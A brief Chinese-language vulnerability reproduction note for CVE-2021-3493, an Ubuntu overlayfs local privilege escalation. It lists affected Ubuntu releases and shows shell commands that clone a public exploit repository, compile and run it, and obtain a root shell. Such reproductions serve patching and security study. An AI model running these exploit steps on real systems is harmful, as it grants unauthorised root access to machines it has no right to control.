漏洞簡介
Linux 內核中 overlayfs 文件系統是 Ubuntu 的特定問題,由於沒有正確的驗證文件系統功能在用戶名稱空間中的應用,從而導致攻擊者可以安裝一個允許未授權掛載的 overlayfs 修補程序來提升權限
影響版本
ubuntu 20.04
ubuntu 16.04
ubuntu18.04
ubuntu 14.04
本次復現為ubuntu20.04版本
漏洞復現
test@linux:~# git clone https://github.com/ASkyeye/CVE-2021-3493.git
test@linux:~$ cd CVE-2021-3493/
test@linux:~/CVE-2021-3493$ gcc exploit.c -o exploit
test@linux:~/CVE-2021-3493$ chmod u+x exploit
test@linux:~/CVE-2021-3493$ ./exploit
bash-5.0$ whoami
root